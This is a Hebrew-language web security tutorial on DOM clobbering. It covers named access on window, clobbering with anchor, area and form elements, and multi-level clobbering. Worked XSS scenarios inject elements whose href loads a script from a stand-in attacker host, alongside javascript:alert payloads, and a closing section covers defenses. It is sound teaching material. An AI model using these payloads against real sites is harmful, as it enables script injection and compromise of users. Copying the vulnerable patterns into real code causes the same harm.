לדלג לתוכן

שיבוש DOM - DOM Clobbering

גישה על שם - Named Access on Window

דפדפנים מספקים מנגנון שנקרא "named access on the Window object". כאשר אלמנט HTML מקבל id או name, הוא נגיש כמשתנה גלובלי:

<img id="myImage" src="photo.jpg">
<script>
  console.log(myImage);              // HTMLImageElement
  console.log(window.myImage);       // HTMLImageElement
  console.log(window['myImage']);     // HTMLImageElement
</script>

זה עובד גם עם name attribute:

<form name="myForm">
  <input name="email" value="test@test.com">
</form>
<script>
  console.log(myForm);               // HTMLFormElement
  console.log(document.myForm);      // HTMLFormElement
  console.log(myForm.email);         // HTMLInputElement
  console.log(myForm.email.value);   // "test@test.com"
</script>

מהו שיבוש DOM - DOM Clobbering

שיבוש DOM מתרחש כאשר תוקף יוצר אלמנטי HTML עם id או name שדורסים משתנים גלובליים או תכונות של אובייקטים קיימים. זה מאפשר לשנות התנהגות של קוד JavaScript בלי להזריק סקריפטים.

<!-- legitimate code that expects a config object -->
<script>
  // if config is not defined, use the default value
  let analyticsUrl = window.config || '/default/analytics.js';
  let s = document.createElement('script');
  s.src = analyticsUrl;
  document.body.appendChild(s);
</script>

<!-- attacker injects: -->
<a id="config" href="https://attacker.com/evil.js"></a>

כש-JavaScript מבצע window.config, הוא מקבל את אלמנט ה-<a>. כש-<a> מומר למחרוזת (דרך toString()), הוא מחזיר את ערך ה-href.


שיבוש עם אלמנטים שונים

אלמנט a

<a> הוא האלמנט הכי שימושי ל-clobbering כי toString() שלו מחזיר את ה-href:

<a id="url" href="https://attacker.com/evil.js"></a>
<script>
  console.log(url);            // HTMLAnchorElement
  console.log(url.toString()); // "https://attacker.com/evil.js"
  console.log(url + '');       // "https://attacker.com/evil.js"
  console.log(`${url}`);       // "https://attacker.com/evil.js"
</script>

אלמנט area

<area> עובד בצורה דומה ל-<a>:

<map name="test"><area id="url" href="https://attacker.com/"></map>
<script>
  console.log(`${url}`); // "https://attacker.com/"
</script>

אלמנט form עם input

<form id="config">
  <input name="apiUrl" value="https://attacker.com/api">
  <input name="debug" value="true">
</form>
<script>
  console.log(config.apiUrl.value);  // "https://attacker.com/api"
  console.log(config.debug.value);   // "true"
</script>

שיבוש דו-רמתי - Two-Level Clobbering

שיבוש עם collections

כאשר יש מספר אלמנטים עם אותו id, הדפדפן יוצר HTMLCollection:

<a id="config"></a>
<a id="config" name="apiUrl" href="https://attacker.com/"></a>
<script>
  console.log(config);             // HTMLCollection [a, a]
  console.log(config.apiUrl);      // HTMLAnchorElement (the second one)
  console.log(`${config.apiUrl}`); // "https://attacker.com/"
</script>

זה מאפשר שיבוש דו-רמתי: window.config.apiUrl -> מחרוזת.

שיבוש עם form

<form id="config">
  <input name="apiUrl">
  <input name="debug">
</form>

<script>
  console.log(config);           // HTMLFormElement
  console.log(config.apiUrl);    // HTMLInputElement
  console.log(config.debug);     // HTMLInputElement
</script>

שלוש רמות עם form ו-collection

<form id="config" name="config">
  <input name="api" value="test">
</form>
<form id="config">
</form>

<script>
  // config -> HTMLCollection
  // config[0] -> HTMLFormElement (the first one)
  // config[0].api -> HTMLInputElement
  // config[0].api.value -> "test"
</script>

שיבוש toString ו-valueOf

דריסת toString

אלמנט <a> כבר דורס toString() - הוא מחזיר href. אפשר לנצל את זה:

<a id="someVar" href="javascript:alert(1)"></a>
<script>
  // vulnerable code that uses someVar as a string
  if (typeof someVar !== 'undefined') {
    location = someVar; // toString() returns "javascript:alert(1)"
  }
</script>

שרשרת prototype clobbering

<form id="x" tabindex="0">
  <input name="toString" value="alert(1)">
</form>
<script>
  // x.toString() -> HTMLInputElement (not a function!)
  // this will cause an error, not code execution
  // but it can be exploited to disrupt logic
  try {
    let str = x + ''; // TypeError: Cannot convert object to primitive value
  } catch(e) {
    // the code fails - denial of service
  }
</script>

שיבוש ל-XSS

תרחיש 1: דריסת כתובת URL

<!-- vulnerable code -->
<script>
  window.onload = function() {
    let defaultUrl = window.defaultConfig || {};
    let analyticsUrl = defaultUrl.url || '/analytics/track.js';

    let s = document.createElement('script');
    s.src = analyticsUrl;
    document.body.appendChild(s);
  };
</script>

<!-- attacker's injection -->
<a id="defaultConfig"></a>
<a id="defaultConfig" name="url" href="https://attacker.com/evil.js"></a>

תהליך:
1. window.defaultConfig מחזיר HTMLCollection (שני אלמנטי <a>)
2. defaultUrl.url מחזיר את האלמנט השני (עם name="url")
3. analyticsUrl מומר למחרוזת -> "https://attacker.com/evil.js"
4. סקריפט זדוני נטען

תרחיש 2: דריסת אובייקט תצורה

<!-- vulnerable code -->
<script>
  let config = window.appConfig || {};
  if (config.enableLogging) {
    document.write('<div>' + config.logEndpoint + '</div>');
  }
</script>

<!-- attacker's injection -->
<form id="appConfig">
  <input name="enableLogging" value="1">
  <img name="logEndpoint" src="x" onerror="alert(1)">
</form>

תרחיש 3: דריסת בדיקת אבטחה

<!-- vulnerable code -->
<script>
  if (typeof DOMPurify === 'undefined') {
    // DOMPurify not loaded, use fallback
    element.innerHTML = userInput; // not safe!
  } else {
    element.innerHTML = DOMPurify.sanitize(userInput);
  }
</script>

<!-- attacker's injection - clobbering DOMPurify -->
<img id="DOMPurify" src="x">

עכשיו typeof DOMPurify הוא 'object' (לא 'undefined'), אבל DOMPurify.sanitize לא קיימת, ויגרום לשגיאה. התוקף צריך לחשוב על דרך אחרת.


תרחישי exploit בעולם האמיתי

Gmail - שיבוש אובייקט הגדרות

<!-- example based on a real vulnerability -->
<a id="GLOBALS"></a>
<a id="GLOBALS" name="config" href="https://attacker.com/"></a>

<!-- the vulnerable code in Gmail used window.GLOBALS.config -->

אתרי WordPress - שיבוש wp.config

<form id="wp">
  <input name="config" value="">
</form>
<!-- overriding window.wp.config -->

שיבוש של document properties

ניתן לשבש גם תכונות של document:

<!-- overriding document.cookie -->
<form name="cookie">test</form>
<script>
  console.log(document.cookie); // HTMLFormElement (not cookies!)
</script>

<!-- overriding document.body -->
<img name="body" src="x">
<script>
  console.log(document.body); // HTMLImageElement (not body!)
</script>

<!-- overriding document.forms -->
<img name="forms" src="x">
<script>
  console.log(document.forms); // HTMLImageElement
</script>

דוגמאות שיבוש צעד אחר צעד

דוגמה מלאה: מ-injection ל-XSS

initial state:
- there is an injection point that allows HTML but not scripts (DOMPurify)
- JavaScript code on the page uses window.config

step 1: reviewing the vulnerable code
  let config = window.config;
  if (config) {
    let s = document.createElement('script');
    s.src = config;  // toString() on the element
    document.head.appendChild(s);
  }

step 2: injecting a clobbering element
  <a id="config" href="https://attacker.com/evil.js"></a>
  (passes DOMPurify because there's no script or event handler)

step 3: the code executes
  window.config -> HTMLAnchorElement
  config is converted to a string -> "https://attacker.com/evil.js"
  malicious script loads -> XSS!

דוגמה עם דריסת תנאי

vulnerable code:
  if (!window.isInitialized) {
    eval(window.initCode || 'console.log("init")');
  }

payload:
  <!-- not overriding isInitialized so the condition holds -->
  <a id="initCode" href="javascript:alert(document.domain)"></a>

result:
  window.isInitialized -> undefined (we didn't override it)
  !undefined -> true (the condition holds)
  window.initCode -> HTMLAnchorElement
  toString() -> "javascript:alert(document.domain)"
  eval("javascript:alert(document.domain)") -> alert!

הגנה

שימוש בהגדרות מפורשות

// bad - accessible for clobbering
if (window.config) { ... }

// good - explicit definition with let/const
let config = { apiUrl: '/api', debug: false };
// window.config can still be clobbered,
// but config (in the function scope) is not

בדיקת סוג

// checking that the value is of the correct type
let config = window.appConfig;
if (config && typeof config === 'object' && !(config instanceof HTMLElement)) {
  // config is a regular JavaScript object, not a DOM element
}

שימוש ב-Object.hasOwn

// checking that the property belongs to the object and not to the prototype
if (Object.hasOwn(window, 'config') && typeof window.config === 'object') {
  // ...
}

CSP כשכבת הגנה נוספת

Content-Security-Policy: script-src 'nonce-random'; object-src 'none'

גם אם תוקף מצליח לשבש DOM ולטעון סקריפט, CSP חזק יחסום אותו.

מניעת clobbering עם Object.freeze

// freeze critical objects before they can be clobbered
const CONFIG = Object.freeze({
  apiUrl: '/api/v1',
  debug: false
});
window.CONFIG = CONFIG;

סיכום

שיבוש DOM הוא טכניקת תקיפה שמנצלת את המנגנון של named access בדפדפנים. היא מאפשרת לתוקף לשנות ערכי משתנים גלובליים באמצעות injection HTML בלבד, בלי צורך בinjection סקריפטים. הטכניקה שימושית במיוחד כאשר CSP או סניטייזר מונעים injection סקריפטים ישירה, אבל מאפשרים HTML בסיסי.